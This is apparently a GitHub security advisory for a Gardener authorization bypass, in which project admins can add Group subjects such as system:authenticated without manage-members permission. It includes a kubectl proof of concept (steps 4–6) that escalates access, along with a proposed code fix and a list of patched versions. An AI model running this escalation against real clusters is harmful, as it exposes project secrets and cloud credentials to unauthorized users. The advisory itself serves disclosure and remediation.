GHSA-gfjv-gqf2-c888: Medium severity go/gardener/gardener vulnerability
Overview The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access. Technical Details The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states: <img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" />
However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true: go func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner rbacv1.Subject, userInfo user.Info) bool { if apiequality.Semantic.DeepEqual(oldMembers, members) { return false } if userIsOwner(userInfo, owner) { return false } var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members) // ... return !oldHumanUsers.Equal(newHumanUsers) } The isHumanUser() function at admission.go only matches Kind == "User": go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members.
Steps to reproduce <img width="4322" height="1395" alt="image" src="https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c" />
---
Proof of concept: 1. Verify current project membership and confirm the owner has manage-members permission: bash Project members before the test: $ kubectl get project local -o yaml members: - apiGroup: rbac.authorization.k8s.io kind: User name: admin-user role: admin roles: - owner
Confirm the owner CAN manage-members (expected) $ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user yes 2. Add a second admin user (test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members: bash After adding test-admin-user as admin (no uam role): $ kubectl get project local -o yaml members: - apiGroup: rbac.authorization.k8s.io kind: User name: admin-user role: admin roles: - owner - apiGroup: rbac.authorization.k8s.io kind: User name: test-admin-user role: admin
Confirm test-admin-user does NOT have manage-members $ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user no 3. Verify test-admin-user cannot add a human User member (the check works for Users): bash $ kubectl patch --as=test-admin-user project local --type=merge -p '{ "spec": { "members": [ { "kind": "User", "apiGroup": "rbac.authorization.k8s.io", "name": "new-human-user@example.com", "role": "viewer" } ] } }' Error from server (Forbidden): projects.core.gardener.cloud "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects" 4. Bypass the check by adding a Group subject instead: bash This should be denied but ISN'T - the manage-members check is bypassed $ kubectl patch project local --as=test-admin-user --type=json -p '[ { "op": "add", "path": "/spec/members/-", "value": { "kind": "Group", "apiGroup": "rbac.authorization.k8s.io", "name": "system:authenticated", "role": "admin", "roles": ["admin"] } } ]'
project.core.gardener.cloud/local patched 5. Verify the Group was added to project members: bash $ kubectl get project local -o yaml members: - apiGroup: rbac.authorization.k8s.io kind: User name: admin-user role: admin roles: - owner - apiGroup: rbac.authorization.k8s.io kind: User name: test-admin-user role: admin - apiGroup: rbac.authorization.k8s.io kind: Group name: system:authenticated role: admin 6. Demonstrate the impact - any authenticated user now has project access: bash As a random user $ kubectl --as=random-user@example.com get shoots -n garden-local NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m Note: random-user@example.com does not exist as a real user. However, the Kubernetes --as global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the system:authenticated group. Since system:authenticated was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.
--- Security Impact - Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including system:authenticated (all authenticated users) or system:unauthenticated (all unauthenticated users). Patching & Remediation 1. Fix isHumanUser() to include Groups: The function should match the documented behavior. Change: go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } To: go func isNonServiceAccountSubject(subject rbacv1.Subject) bool { if subject.Kind == rbacv1.GroupKind { return true } return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/gardener/gardenerto a version that resolves this vulnerability.Fixed in 1.144.2 - Upgrade
Upgrade
go/gardener/gardenerto a version that resolves this vulnerability.Fixed in 1.143.3 - Upgrade
Upgrade
go/github.com/gardener/gardenerto a version that resolves this vulnerability.Fixed in 1.142.6 - Compensating control
Fix isHumanUser() in admission.go so it includes Group subjects, matching the documented behavior and ensuring the manage-members authorization check covers Group member changes.
Event History
Frequently Asked Questions
What level of access is required to exploit this issue?
An attacker needs project-admin privileges in a Gardener project, but does not need the manage-members permission. They can modify the project's member list to add Group or ServiceAccount subjects.
What is the practical impact of adding a Group subject?
A project admin can add an arbitrary group, including system:authenticated, to the project member list. This can grant every authenticated user full project-level access.
Why does the authorization control fail for these changes?
The admission plugin's member-change check only treats User-kind subjects as human users. Changes involving Group or ServiceAccount subjects are therefore not gated by the manage-members authorization check.